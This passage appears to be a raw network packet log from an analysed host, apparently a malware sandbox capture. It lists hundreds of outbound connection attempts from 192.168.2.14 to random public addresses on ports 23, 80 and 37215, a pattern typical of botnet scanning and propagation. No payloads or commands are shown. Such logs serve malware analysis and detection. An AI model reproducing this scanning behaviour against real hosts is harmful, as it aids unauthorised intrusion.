Oct 14, 2024 17:34:16.126718044 CEST	29508	23	192.168.2.14	144.163.13.125
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	129.185.127.141
Oct 14, 2024 17:34:16.126718044 CEST	29508	23	192.168.2.14	130.231.183.27
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	4.234.28.147
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	126.111.226.26
Oct 14, 2024 17:34:16.126717091 CEST	29508	23	192.168.2.14	58.207.25.171
Oct 14, 2024 17:34:16.126732111 CEST	29508	23	192.168.2.14	200.224.254.228
Oct 14, 2024 17:34:16.126732111 CEST	29508	23	192.168.2.14	159.17.83.213
Oct 14, 2024 17:34:16.126734972 CEST	29508	23	192.168.2.14	191.70.148.71
Oct 14, 2024 17:34:16.126741886 CEST	29508	23	192.168.2.14	94.186.159.111
Oct 14, 2024 17:34:16.126741886 CEST	29508	23	192.168.2.14	156.18.102.156
Oct 14, 2024 17:34:16.126758099 CEST	29508	23	192.168.2.14	131.97.172.51
Oct 14, 2024 17:34:16.126776934 CEST	29508	23	192.168.2.14	107.11.116.179
Oct 14, 2024 17:34:16.126782894 CEST	29508	23	192.168.2.14	146.56.116.185
Oct 14, 2024 17:34:16.126784086 CEST	29508	23	192.168.2.14	43.105.126.111
Oct 14, 2024 17:34:16.126784086 CEST	29508	23	192.168.2.14	181.145.172.246
Oct 14, 2024 17:34:16.126785994 CEST	29508	23	192.168.2.14	209.195.57.144
Oct 14, 2024 17:34:16.126787901 CEST	29508	23	192.168.2.14	13.156.104.96
Oct 14, 2024 17:34:16.126790047 CEST	29508	23	192.168.2.14	62.70.114.252
Oct 14, 2024 17:34:16.126791000 CEST	29508	23	192.168.2.14	180.52.209.56
Oct 14, 2024 17:34:16.126794100 CEST	29508	23	192.168.2.14	194.61.101.64
Oct 14, 2024 17:34:16.126811028 CEST	29508	23	192.168.2.14	170.168.209.56
Oct 14, 2024 17:34:16.126813889 CEST	29508	23	192.168.2.14	120.108.10.177
Oct 14, 2024 17:34:16.126825094 CEST	29508	23	192.168.2.14	90.15.139.159
Oct 14, 2024 17:34:16.126826048 CEST	29508	23	192.168.2.14	133.111.50.120
Oct 14, 2024 17:34:16.126826048 CEST	29508	23	192.168.2.14	69.99.126.198
Oct 14, 2024 17:34:16.126826048 CEST	29508	23	192.168.2.14	184.53.116.249
Oct 14, 2024 17:34:16.126838923 CEST	29508	23	192.168.2.14	160.65.46.138
Oct 14, 2024 17:34:16.126838923 CEST	29508	23	192.168.2.14	62.88.9.12
Oct 14, 2024 17:34:16.126847982 CEST	29508	23	192.168.2.14	205.122.57.93
Oct 14, 2024 17:34:16.126854897 CEST	29508	23	192.168.2.14	153.193.158.218
Oct 14, 2024 17:34:16.129710913 CEST	23	29508	142.213.191.133	192.168.2.14
Oct 14, 2024 17:34:16.129745960 CEST	29508	23	192.168.2.14	142.213.191.133
Oct 14, 2024 17:34:16.132797003 CEST	37215	53744	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:16.132843018 CEST	53744	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:16.133017063 CEST	37215	60934	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:16.133058071 CEST	60934	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:16.133141041 CEST	37215	58404	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:16.133178949 CEST	58404	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:16.139481068 CEST	49574	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:16.139481068 CEST	44656	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:16.144391060 CEST	37215	49574	156.56.92.171	192.168.2.14
Oct 14, 2024 17:34:16.144409895 CEST	80	44656	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:16.144428968 CEST	49574	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:16.144439936 CEST	44656	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:16.144485950 CEST	44656	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:16.144506931 CEST	29626	80	192.168.2.14	198.133.128.151
Oct 14, 2024 17:34:16.144515991 CEST	29626	80	192.168.2.14	91.155.238.253
Oct 14, 2024 17:34:16.144519091 CEST	29626	80	192.168.2.14	99.134.122.34
Oct 14, 2024 17:34:16.144520044 CEST	29626	80	192.168.2.14	43.69.21.156
Oct 14, 2024 17:34:16.144536972 CEST	29626	80	192.168.2.14	183.245.154.172
Oct 14, 2024 17:34:16.144536972 CEST	29626	80	192.168.2.14	43.64.50.43
Oct 14, 2024 17:34:16.144541025 CEST	29626	80	192.168.2.14	87.60.143.4
Oct 14, 2024 17:34:16.144547939 CEST	29626	80	192.168.2.14	178.147.246.99
Oct 14, 2024 17:34:16.144563913 CEST	29626	80	192.168.2.14	47.192.235.147
Oct 14, 2024 17:34:16.144570112 CEST	29626	80	192.168.2.14	104.30.10.123
Oct 14, 2024 17:34:16.144577980 CEST	29626	80	192.168.2.14	206.241.192.93
Oct 14, 2024 17:34:16.144581079 CEST	29626	80	192.168.2.14	145.184.84.206
Oct 14, 2024 17:34:16.144593000 CEST	29626	80	192.168.2.14	120.235.73.105
Oct 14, 2024 17:34:16.144593000 CEST	29626	80	192.168.2.14	40.204.215.227
Oct 14, 2024 17:34:16.144594908 CEST	29626	80	192.168.2.14	82.238.123.100
Oct 14, 2024 17:34:16.144601107 CEST	29626	80	192.168.2.14	105.166.152.4
Oct 14, 2024 17:34:16.144601107 CEST	29626	80	192.168.2.14	51.212.104.167
Oct 14, 2024 17:34:16.144615889 CEST	29626	80	192.168.2.14	106.160.104.176
Oct 14, 2024 17:34:16.144618988 CEST	29626	80	192.168.2.14	14.137.56.221
Oct 14, 2024 17:34:16.144630909 CEST	29626	80	192.168.2.14	18.153.91.53
Oct 14, 2024 17:34:16.144632101 CEST	29626	80	192.168.2.14	88.227.39.148
Oct 14, 2024 17:34:16.144649982 CEST	29626	80	192.168.2.14	18.124.79.13
Oct 14, 2024 17:34:16.144650936 CEST	29626	80	192.168.2.14	184.134.170.22
Oct 14, 2024 17:34:16.144650936 CEST	29626	80	192.168.2.14	4.216.84.48
Oct 14, 2024 17:34:16.144654989 CEST	29626	80	192.168.2.14	63.0.84.224
Oct 14, 2024 17:34:16.144668102 CEST	29626	80	192.168.2.14	114.17.205.153
Oct 14, 2024 17:34:16.144680023 CEST	29626	80	192.168.2.14	94.89.151.163
Oct 14, 2024 17:34:16.144680023 CEST	29626	80	192.168.2.14	5.89.254.182
Oct 14, 2024 17:34:16.144681931 CEST	29626	80	192.168.2.14	40.224.78.152
Oct 14, 2024 17:34:16.144685030 CEST	29626	80	192.168.2.14	153.219.205.92
Oct 14, 2024 17:34:16.144690990 CEST	29626	80	192.168.2.14	111.189.106.180
Oct 14, 2024 17:34:16.144690990 CEST	29626	80	192.168.2.14	114.214.242.138
Oct 14, 2024 17:34:16.144696951 CEST	29626	80	192.168.2.14	46.32.79.19
Oct 14, 2024 17:34:16.144697905 CEST	29626	80	192.168.2.14	19.170.46.124
Oct 14, 2024 17:34:16.144701958 CEST	29626	80	192.168.2.14	113.43.49.240
Oct 14, 2024 17:34:16.144706011 CEST	29626	80	192.168.2.14	198.229.174.4
Oct 14, 2024 17:34:16.144720078 CEST	29626	80	192.168.2.14	118.211.111.10
Oct 14, 2024 17:34:16.144722939 CEST	29626	80	192.168.2.14	146.6.156.64
Oct 14, 2024 17:34:16.144723892 CEST	29626	80	192.168.2.14	178.105.236.237
Oct 14, 2024 17:34:16.144728899 CEST	29626	80	192.168.2.14	97.2.39.4
Oct 14, 2024 17:34:16.144741058 CEST	29626	80	192.168.2.14	143.4.91.30
Oct 14, 2024 17:34:16.144746065 CEST	29626	80	192.168.2.14	193.77.115.229
Oct 14, 2024 17:34:16.144747019 CEST	29626	80	192.168.2.14	101.178.122.213
Oct 14, 2024 17:34:16.144761086 CEST	29626	80	192.168.2.14	73.40.175.218
Oct 14, 2024 17:34:16.144762039 CEST	29626	80	192.168.2.14	68.214.42.113
Oct 14, 2024 17:34:16.144762039 CEST	29626	80	192.168.2.14	218.186.96.107
Oct 14, 2024 17:34:16.144763947 CEST	29626	80	192.168.2.14	2.241.158.127
Oct 14, 2024 17:34:16.144783020 CEST	29626	80	192.168.2.14	49.125.120.158
Oct 14, 2024 17:34:16.144783974 CEST	29626	80	192.168.2.14	120.199.206.64
Oct 14, 2024 17:34:16.144783020 CEST	29626	80	192.168.2.14	217.52.11.250
Oct 14, 2024 17:34:16.144783974 CEST	29626	80	192.168.2.14	98.242.107.131
Oct 14, 2024 17:34:16.144783974 CEST	29626	80	192.168.2.14	107.126.50.40
Oct 14, 2024 17:34:16.144802094 CEST	29626	80	192.168.2.14	168.49.254.1
Oct 14, 2024 17:34:16.144802094 CEST	29626	80	192.168.2.14	209.140.113.220
Oct 14, 2024 17:34:16.144802094 CEST	29626	80	192.168.2.14	143.112.181.64
Oct 14, 2024 17:34:16.144821882 CEST	29626	80	192.168.2.14	113.146.20.168
Oct 14, 2024 17:34:16.144821882 CEST	29626	80	192.168.2.14	209.67.243.155
Oct 14, 2024 17:34:16.144821882 CEST	29626	80	192.168.2.14	191.150.6.69
Oct 14, 2024 17:34:16.144826889 CEST	29626	80	192.168.2.14	183.251.93.254
Oct 14, 2024 17:34:16.144839048 CEST	29626	80	192.168.2.14	204.83.73.92
Oct 14, 2024 17:34:16.144840956 CEST	29626	80	192.168.2.14	92.215.101.26
Oct 14, 2024 17:34:16.144840956 CEST	29626	80	192.168.2.14	108.109.43.229
Oct 14, 2024 17:34:16.144865036 CEST	29626	80	192.168.2.14	114.60.80.184
Oct 14, 2024 17:34:16.144865990 CEST	29626	80	192.168.2.14	68.89.61.8
Oct 14, 2024 17:34:16.144866943 CEST	29626	80	192.168.2.14	195.102.243.107
Oct 14, 2024 17:34:16.144874096 CEST	29626	80	192.168.2.14	88.55.119.107
Oct 14, 2024 17:34:16.144875050 CEST	29626	80	192.168.2.14	8.252.191.17
Oct 14, 2024 17:34:16.144875050 CEST	29626	80	192.168.2.14	222.241.147.120
Oct 14, 2024 17:34:16.144875050 CEST	29626	80	192.168.2.14	200.163.201.239
Oct 14, 2024 17:34:16.144879103 CEST	29626	80	192.168.2.14	132.122.251.7
Oct 14, 2024 17:34:16.144881010 CEST	29626	80	192.168.2.14	59.34.214.36
Oct 14, 2024 17:34:16.144890070 CEST	29626	80	192.168.2.14	32.192.94.113
Oct 14, 2024 17:34:16.144901991 CEST	29626	80	192.168.2.14	194.93.7.122
Oct 14, 2024 17:34:16.144906998 CEST	29626	80	192.168.2.14	156.141.176.61
Oct 14, 2024 17:34:16.144912958 CEST	29626	80	192.168.2.14	80.174.231.57
Oct 14, 2024 17:34:16.144918919 CEST	29626	80	192.168.2.14	74.204.57.122
Oct 14, 2024 17:34:16.144934893 CEST	29626	80	192.168.2.14	90.162.192.119
Oct 14, 2024 17:34:16.144939899 CEST	29626	80	192.168.2.14	179.246.125.227
Oct 14, 2024 17:34:16.144942999 CEST	29626	80	192.168.2.14	208.197.205.106
Oct 14, 2024 17:34:16.144958019 CEST	29626	80	192.168.2.14	200.182.129.160
Oct 14, 2024 17:34:16.144958973 CEST	29626	80	192.168.2.14	218.241.181.108
Oct 14, 2024 17:34:16.144961119 CEST	29626	80	192.168.2.14	99.171.68.132
Oct 14, 2024 17:34:16.144961119 CEST	29626	80	192.168.2.14	154.20.162.83
Oct 14, 2024 17:34:16.144968987 CEST	29626	80	192.168.2.14	8.47.66.127
Oct 14, 2024 17:34:16.144975901 CEST	29626	80	192.168.2.14	102.57.16.69
Oct 14, 2024 17:34:16.144978046 CEST	29626	80	192.168.2.14	20.140.191.18
Oct 14, 2024 17:34:16.144978046 CEST	29626	80	192.168.2.14	173.127.47.17
Oct 14, 2024 17:34:16.144982100 CEST	29626	80	192.168.2.14	42.183.92.137
Oct 14, 2024 17:34:16.144995928 CEST	29626	80	192.168.2.14	223.166.62.232
Oct 14, 2024 17:34:16.145004034 CEST	29626	80	192.168.2.14	131.80.107.99
Oct 14, 2024 17:34:16.145004034 CEST	29626	80	192.168.2.14	103.77.152.237
Oct 14, 2024 17:34:16.145004034 CEST	29626	80	192.168.2.14	108.175.99.63
Oct 14, 2024 17:34:16.145004034 CEST	29626	80	192.168.2.14	20.47.156.67
Oct 14, 2024 17:34:16.145015955 CEST	29626	80	192.168.2.14	181.10.2.183
Oct 14, 2024 17:34:16.145037889 CEST	29626	80	192.168.2.14	157.86.141.67
Oct 14, 2024 17:34:16.145037889 CEST	29626	80	192.168.2.14	85.19.195.60
Oct 14, 2024 17:34:16.145039082 CEST	29626	80	192.168.2.14	182.69.181.242
Oct 14, 2024 17:34:16.145039082 CEST	29626	80	192.168.2.14	210.236.95.141
Oct 14, 2024 17:34:16.145039082 CEST	29626	80	192.168.2.14	207.212.91.218
Oct 14, 2024 17:34:16.145039082 CEST	29626	80	192.168.2.14	50.147.101.152
Oct 14, 2024 17:34:16.145039082 CEST	29626	80	192.168.2.14	91.114.14.13
Oct 14, 2024 17:34:16.145041943 CEST	29626	80	192.168.2.14	36.153.31.83
Oct 14, 2024 17:34:16.145051956 CEST	29626	80	192.168.2.14	221.70.208.86
Oct 14, 2024 17:34:16.145054102 CEST	29626	80	192.168.2.14	54.209.41.210
Oct 14, 2024 17:34:16.145056009 CEST	29626	80	192.168.2.14	18.16.115.122
Oct 14, 2024 17:34:16.145065069 CEST	29626	80	192.168.2.14	197.25.1.38
Oct 14, 2024 17:34:16.145065069 CEST	29626	80	192.168.2.14	87.136.13.237
Oct 14, 2024 17:34:16.145067930 CEST	29626	80	192.168.2.14	42.221.185.137
Oct 14, 2024 17:34:16.145073891 CEST	29626	80	192.168.2.14	74.124.234.79
Oct 14, 2024 17:34:16.145078897 CEST	29626	80	192.168.2.14	198.4.136.182
Oct 14, 2024 17:34:16.145093918 CEST	29626	80	192.168.2.14	32.250.211.144
Oct 14, 2024 17:34:16.145097017 CEST	29626	80	192.168.2.14	82.0.135.254
Oct 14, 2024 17:34:16.145101070 CEST	29626	80	192.168.2.14	216.156.129.68
Oct 14, 2024 17:34:16.145111084 CEST	29626	80	192.168.2.14	145.22.195.29
Oct 14, 2024 17:34:16.145112038 CEST	29626	80	192.168.2.14	5.70.223.229
Oct 14, 2024 17:34:16.145128012 CEST	29626	80	192.168.2.14	2.221.130.125
Oct 14, 2024 17:34:16.145128012 CEST	29626	80	192.168.2.14	93.110.106.163
Oct 14, 2024 17:34:16.145129919 CEST	29626	80	192.168.2.14	221.76.104.56
Oct 14, 2024 17:34:16.145131111 CEST	29626	80	192.168.2.14	187.228.210.167
Oct 14, 2024 17:34:16.145133018 CEST	29626	80	192.168.2.14	208.65.102.170
Oct 14, 2024 17:34:16.145137072 CEST	29626	80	192.168.2.14	77.249.151.186
Oct 14, 2024 17:34:16.145138025 CEST	29626	80	192.168.2.14	64.147.108.204
Oct 14, 2024 17:34:16.145158052 CEST	29626	80	192.168.2.14	93.114.12.187
Oct 14, 2024 17:34:16.145159006 CEST	29626	80	192.168.2.14	99.175.72.181
Oct 14, 2024 17:34:16.145159006 CEST	29626	80	192.168.2.14	103.255.179.225
Oct 14, 2024 17:34:16.145164967 CEST	29626	80	192.168.2.14	143.23.156.120
Oct 14, 2024 17:34:16.145164967 CEST	29626	80	192.168.2.14	126.71.11.118
Oct 14, 2024 17:34:16.145175934 CEST	29626	80	192.168.2.14	14.46.65.188
Oct 14, 2024 17:34:16.145176888 CEST	29626	80	192.168.2.14	211.248.166.13
Oct 14, 2024 17:34:16.145175934 CEST	29626	80	192.168.2.14	2.98.112.24
Oct 14, 2024 17:34:16.145181894 CEST	29626	80	192.168.2.14	162.218.213.230
Oct 14, 2024 17:34:16.145195961 CEST	29626	80	192.168.2.14	118.27.163.223
Oct 14, 2024 17:34:16.145200014 CEST	29626	80	192.168.2.14	173.66.51.34
Oct 14, 2024 17:34:16.145211935 CEST	29626	80	192.168.2.14	111.167.177.44
Oct 14, 2024 17:34:16.145214081 CEST	29626	80	192.168.2.14	158.171.61.112
Oct 14, 2024 17:34:16.145214081 CEST	29626	80	192.168.2.14	23.92.206.73
Oct 14, 2024 17:34:16.145217896 CEST	29626	80	192.168.2.14	185.249.180.1
Oct 14, 2024 17:34:16.145232916 CEST	29626	80	192.168.2.14	45.167.33.250
Oct 14, 2024 17:34:16.145235062 CEST	29626	80	192.168.2.14	150.17.111.142
Oct 14, 2024 17:34:16.145236015 CEST	29626	80	192.168.2.14	106.67.235.134
Oct 14, 2024 17:34:16.145239115 CEST	29626	80	192.168.2.14	154.182.253.19
Oct 14, 2024 17:34:16.145253897 CEST	29626	80	192.168.2.14	49.33.26.79
Oct 14, 2024 17:34:16.145256996 CEST	29626	80	192.168.2.14	107.80.39.198
Oct 14, 2024 17:34:16.145270109 CEST	29626	80	192.168.2.14	207.249.56.125
Oct 14, 2024 17:34:16.145271063 CEST	29626	80	192.168.2.14	4.70.143.58
Oct 14, 2024 17:34:16.145287037 CEST	29626	80	192.168.2.14	131.98.253.176
Oct 14, 2024 17:34:16.145288944 CEST	29626	80	192.168.2.14	189.59.236.114
Oct 14, 2024 17:34:16.145301104 CEST	29626	80	192.168.2.14	98.105.92.131
Oct 14, 2024 17:34:16.145304918 CEST	29626	80	192.168.2.14	43.112.151.76
Oct 14, 2024 17:34:16.145307064 CEST	29626	80	192.168.2.14	159.170.120.209
Oct 14, 2024 17:34:16.145311117 CEST	29626	80	192.168.2.14	145.91.25.155
Oct 14, 2024 17:34:16.145322084 CEST	29626	80	192.168.2.14	81.2.115.159
Oct 14, 2024 17:34:16.145324945 CEST	29626	80	192.168.2.14	176.46.84.68
Oct 14, 2024 17:34:16.145339012 CEST	29626	80	192.168.2.14	38.243.211.186
Oct 14, 2024 17:34:16.145344019 CEST	29626	80	192.168.2.14	152.6.17.75
Oct 14, 2024 17:34:16.145347118 CEST	29626	80	192.168.2.14	218.21.164.123
Oct 14, 2024 17:34:16.145365000 CEST	29626	80	192.168.2.14	111.182.33.23
Oct 14, 2024 17:34:16.145365953 CEST	29626	80	192.168.2.14	41.12.254.123
Oct 14, 2024 17:34:16.145364046 CEST	29626	80	192.168.2.14	63.17.101.194
Oct 14, 2024 17:34:16.145376921 CEST	29626	80	192.168.2.14	132.253.255.66
Oct 14, 2024 17:34:16.145379066 CEST	29626	80	192.168.2.14	173.118.103.3
Oct 14, 2024 17:34:16.145395994 CEST	29626	80	192.168.2.14	128.167.163.6
Oct 14, 2024 17:34:16.145396948 CEST	29626	80	192.168.2.14	58.13.81.104
Oct 14, 2024 17:34:16.145415068 CEST	29626	80	192.168.2.14	134.198.234.146
Oct 14, 2024 17:34:16.145416975 CEST	29626	80	192.168.2.14	155.93.171.250
Oct 14, 2024 17:34:16.145417929 CEST	29626	80	192.168.2.14	130.241.136.43
Oct 14, 2024 17:34:16.145417929 CEST	29626	80	192.168.2.14	167.26.73.104
Oct 14, 2024 17:34:16.145431995 CEST	29626	80	192.168.2.14	139.189.9.53
Oct 14, 2024 17:34:16.145431995 CEST	29626	80	192.168.2.14	176.151.54.240
Oct 14, 2024 17:34:16.145442963 CEST	29626	80	192.168.2.14	23.33.202.110
Oct 14, 2024 17:34:16.145442963 CEST	29626	80	192.168.2.14	40.127.170.235
Oct 14, 2024 17:34:16.145463943 CEST	29626	80	192.168.2.14	181.99.198.4
Oct 14, 2024 17:34:16.145463943 CEST	29626	80	192.168.2.14	23.73.76.190
Oct 14, 2024 17:34:16.145463943 CEST	29626	80	192.168.2.14	68.118.75.135
Oct 14, 2024 17:34:16.145467043 CEST	29626	80	192.168.2.14	82.192.178.123
Oct 14, 2024 17:34:16.145467997 CEST	29626	80	192.168.2.14	123.198.16.231
Oct 14, 2024 17:34:16.145474911 CEST	29626	80	192.168.2.14	180.40.141.202
Oct 14, 2024 17:34:16.145482063 CEST	29626	80	192.168.2.14	181.41.28.78
Oct 14, 2024 17:34:16.145488977 CEST	29626	80	192.168.2.14	96.172.168.172
Oct 14, 2024 17:34:16.145504951 CEST	29626	80	192.168.2.14	32.9.95.85
Oct 14, 2024 17:34:16.145513058 CEST	29626	80	192.168.2.14	133.152.101.12
Oct 14, 2024 17:34:16.145518064 CEST	29626	80	192.168.2.14	79.176.92.175
Oct 14, 2024 17:34:16.145524979 CEST	29626	80	192.168.2.14	130.147.35.190
Oct 14, 2024 17:34:16.145530939 CEST	29626	80	192.168.2.14	123.104.140.150
Oct 14, 2024 17:34:16.145538092 CEST	29626	80	192.168.2.14	171.154.47.203
Oct 14, 2024 17:34:16.145538092 CEST	29626	80	192.168.2.14	62.199.17.33
Oct 14, 2024 17:34:16.145553112 CEST	29626	80	192.168.2.14	53.31.205.7
Oct 14, 2024 17:34:16.145561934 CEST	29626	80	192.168.2.14	151.124.234.139
Oct 14, 2024 17:34:16.145567894 CEST	29626	80	192.168.2.14	109.3.67.253
Oct 14, 2024 17:34:16.145575047 CEST	29626	80	192.168.2.14	75.81.218.242
Oct 14, 2024 17:34:16.145582914 CEST	29626	80	192.168.2.14	136.0.174.224
Oct 14, 2024 17:34:16.145582914 CEST	29626	80	192.168.2.14	72.201.85.6
Oct 14, 2024 17:34:16.145591021 CEST	29626	80	192.168.2.14	87.159.204.44
Oct 14, 2024 17:34:16.145592928 CEST	29626	80	192.168.2.14	222.174.210.227
Oct 14, 2024 17:34:16.145598888 CEST	29626	80	192.168.2.14	182.245.198.65
Oct 14, 2024 17:34:16.145611048 CEST	29626	80	192.168.2.14	25.137.220.237
Oct 14, 2024 17:34:16.145612955 CEST	29626	80	192.168.2.14	189.68.152.85
Oct 14, 2024 17:34:16.145613909 CEST	29626	80	192.168.2.14	171.146.118.147
Oct 14, 2024 17:34:16.145618916 CEST	29626	80	192.168.2.14	23.16.136.84
Oct 14, 2024 17:34:16.145626068 CEST	29626	80	192.168.2.14	155.20.24.12
Oct 14, 2024 17:34:16.145631075 CEST	29626	80	192.168.2.14	65.180.251.232
Oct 14, 2024 17:34:16.145637989 CEST	29626	80	192.168.2.14	97.128.198.91
Oct 14, 2024 17:34:16.145647049 CEST	29626	80	192.168.2.14	167.76.72.11
Oct 14, 2024 17:34:16.145659924 CEST	29626	80	192.168.2.14	110.250.30.214
Oct 14, 2024 17:34:16.145663023 CEST	29626	80	192.168.2.14	71.218.206.96
Oct 14, 2024 17:34:16.145675898 CEST	29626	80	192.168.2.14	47.223.114.61
Oct 14, 2024 17:34:16.145683050 CEST	29626	80	192.168.2.14	117.207.150.207
Oct 14, 2024 17:34:16.145683050 CEST	29626	80	192.168.2.14	199.167.162.79
Oct 14, 2024 17:34:16.145687103 CEST	29626	80	192.168.2.14	108.48.59.80
Oct 14, 2024 17:34:16.145693064 CEST	29626	80	192.168.2.14	115.192.179.76
Oct 14, 2024 17:34:16.145704985 CEST	29626	80	192.168.2.14	20.43.90.39
Oct 14, 2024 17:34:16.145704985 CEST	29626	80	192.168.2.14	95.234.40.189
Oct 14, 2024 17:34:16.145720005 CEST	29626	80	192.168.2.14	123.28.132.159
Oct 14, 2024 17:34:16.145735025 CEST	29626	80	192.168.2.14	187.98.142.8
Oct 14, 2024 17:34:16.145736933 CEST	29626	80	192.168.2.14	173.133.21.241
Oct 14, 2024 17:34:16.145744085 CEST	29626	80	192.168.2.14	216.234.29.139
Oct 14, 2024 17:34:16.145751953 CEST	29626	80	192.168.2.14	94.246.99.220
Oct 14, 2024 17:34:16.145770073 CEST	29626	80	192.168.2.14	131.217.211.46
Oct 14, 2024 17:34:16.145782948 CEST	29626	80	192.168.2.14	183.186.251.206
Oct 14, 2024 17:34:16.145785093 CEST	29626	80	192.168.2.14	12.61.212.67
Oct 14, 2024 17:34:16.145788908 CEST	29626	80	192.168.2.14	78.130.168.251
Oct 14, 2024 17:34:16.145795107 CEST	29626	80	192.168.2.14	174.50.48.123
Oct 14, 2024 17:34:16.145796061 CEST	29626	80	192.168.2.14	93.132.125.8
Oct 14, 2024 17:34:16.145796061 CEST	29626	80	192.168.2.14	217.131.137.141
Oct 14, 2024 17:34:16.145800114 CEST	29626	80	192.168.2.14	173.162.13.90
Oct 14, 2024 17:34:16.145807028 CEST	29626	80	192.168.2.14	153.42.52.117
Oct 14, 2024 17:34:16.145814896 CEST	29626	80	192.168.2.14	142.16.176.136
Oct 14, 2024 17:34:16.145816088 CEST	29626	80	192.168.2.14	82.113.63.148
Oct 14, 2024 17:34:16.145827055 CEST	29626	80	192.168.2.14	132.241.78.29
Oct 14, 2024 17:34:16.145842075 CEST	29626	80	192.168.2.14	64.126.69.104
Oct 14, 2024 17:34:16.145843029 CEST	29626	80	192.168.2.14	75.213.66.125
Oct 14, 2024 17:34:16.145848036 CEST	29626	80	192.168.2.14	191.96.154.5
Oct 14, 2024 17:34:16.145854950 CEST	29626	80	192.168.2.14	208.218.217.53
Oct 14, 2024 17:34:16.145858049 CEST	29626	80	192.168.2.14	175.187.64.123
Oct 14, 2024 17:34:16.145858049 CEST	29626	80	192.168.2.14	102.21.221.186
Oct 14, 2024 17:34:16.145860910 CEST	29626	80	192.168.2.14	24.166.32.72
Oct 14, 2024 17:34:16.145874023 CEST	29626	80	192.168.2.14	139.81.236.1
Oct 14, 2024 17:34:16.145874023 CEST	29626	80	192.168.2.14	64.225.156.159
Oct 14, 2024 17:34:16.145879030 CEST	29626	80	192.168.2.14	96.61.253.96
Oct 14, 2024 17:34:16.145891905 CEST	29626	80	192.168.2.14	196.202.111.24
Oct 14, 2024 17:34:16.145895958 CEST	29626	80	192.168.2.14	80.253.47.19
Oct 14, 2024 17:34:16.145898104 CEST	29626	80	192.168.2.14	108.150.39.159
Oct 14, 2024 17:34:16.145915985 CEST	29626	80	192.168.2.14	51.89.49.183
Oct 14, 2024 17:34:16.145917892 CEST	29626	80	192.168.2.14	212.70.103.198
Oct 14, 2024 17:34:16.145917892 CEST	29626	80	192.168.2.14	90.94.245.88
Oct 14, 2024 17:34:16.145932913 CEST	29626	80	192.168.2.14	40.178.64.125
Oct 14, 2024 17:34:16.145932913 CEST	29626	80	192.168.2.14	200.172.6.105
Oct 14, 2024 17:34:16.145935059 CEST	29626	80	192.168.2.14	40.16.1.117
Oct 14, 2024 17:34:16.145937920 CEST	29626	80	192.168.2.14	166.42.122.67
Oct 14, 2024 17:34:16.145939112 CEST	29626	80	192.168.2.14	2.130.132.166
Oct 14, 2024 17:34:16.145942926 CEST	29626	80	192.168.2.14	132.112.49.134
Oct 14, 2024 17:34:16.145945072 CEST	29626	80	192.168.2.14	32.252.132.105
Oct 14, 2024 17:34:16.145948887 CEST	29626	80	192.168.2.14	164.63.159.21
Oct 14, 2024 17:34:16.145948887 CEST	29626	80	192.168.2.14	40.119.95.60
Oct 14, 2024 17:34:16.145957947 CEST	29626	80	192.168.2.14	179.138.224.91
Oct 14, 2024 17:34:16.145970106 CEST	29626	80	192.168.2.14	24.1.46.146
Oct 14, 2024 17:34:16.145970106 CEST	29626	80	192.168.2.14	115.108.21.32
Oct 14, 2024 17:34:16.145977974 CEST	29626	80	192.168.2.14	80.41.62.50
Oct 14, 2024 17:34:16.145984888 CEST	29626	80	192.168.2.14	188.175.78.154
Oct 14, 2024 17:34:16.145998955 CEST	29626	80	192.168.2.14	125.201.156.56
Oct 14, 2024 17:34:16.145998955 CEST	29626	80	192.168.2.14	189.46.115.253
Oct 14, 2024 17:34:16.145999908 CEST	29626	80	192.168.2.14	96.24.85.231
Oct 14, 2024 17:34:16.146002054 CEST	29626	80	192.168.2.14	60.182.59.118
Oct 14, 2024 17:34:16.146008015 CEST	29626	80	192.168.2.14	176.107.171.4
Oct 14, 2024 17:34:16.146008015 CEST	29626	80	192.168.2.14	206.26.206.138
Oct 14, 2024 17:34:16.146008015 CEST	29626	80	192.168.2.14	153.202.5.8
Oct 14, 2024 17:34:16.146011114 CEST	29626	80	192.168.2.14	96.156.212.8
Oct 14, 2024 17:34:16.146028042 CEST	29626	80	192.168.2.14	199.43.155.35
Oct 14, 2024 17:34:16.146032095 CEST	29626	80	192.168.2.14	97.246.184.149
Oct 14, 2024 17:34:16.146032095 CEST	29626	80	192.168.2.14	121.149.155.108
Oct 14, 2024 17:34:16.146034002 CEST	29626	80	192.168.2.14	34.255.107.124
Oct 14, 2024 17:34:16.146034002 CEST	29626	80	192.168.2.14	88.164.184.228
Oct 14, 2024 17:34:16.146034002 CEST	29626	80	192.168.2.14	91.62.22.99
Oct 14, 2024 17:34:16.146034002 CEST	29626	80	192.168.2.14	49.1.220.84
Oct 14, 2024 17:34:16.146039963 CEST	29626	80	192.168.2.14	220.28.48.241
Oct 14, 2024 17:34:16.146044970 CEST	29626	80	192.168.2.14	95.176.109.28
Oct 14, 2024 17:34:16.146045923 CEST	29626	80	192.168.2.14	154.45.221.126
Oct 14, 2024 17:34:16.146061897 CEST	29626	80	192.168.2.14	171.90.183.80
Oct 14, 2024 17:34:16.146061897 CEST	29626	80	192.168.2.14	141.91.176.165
Oct 14, 2024 17:34:16.146064997 CEST	29626	80	192.168.2.14	196.110.24.3
Oct 14, 2024 17:34:16.146080971 CEST	29626	80	192.168.2.14	34.241.102.28
Oct 14, 2024 17:34:16.146083117 CEST	29626	80	192.168.2.14	223.243.151.113
Oct 14, 2024 17:34:16.146083117 CEST	29626	80	192.168.2.14	192.97.148.168
Oct 14, 2024 17:34:16.146085978 CEST	29626	80	192.168.2.14	9.210.213.208
Oct 14, 2024 17:34:16.146085978 CEST	29626	80	192.168.2.14	148.213.37.173
Oct 14, 2024 17:34:16.146085978 CEST	29626	80	192.168.2.14	83.98.22.193
Oct 14, 2024 17:34:16.146105051 CEST	29626	80	192.168.2.14	68.60.84.202
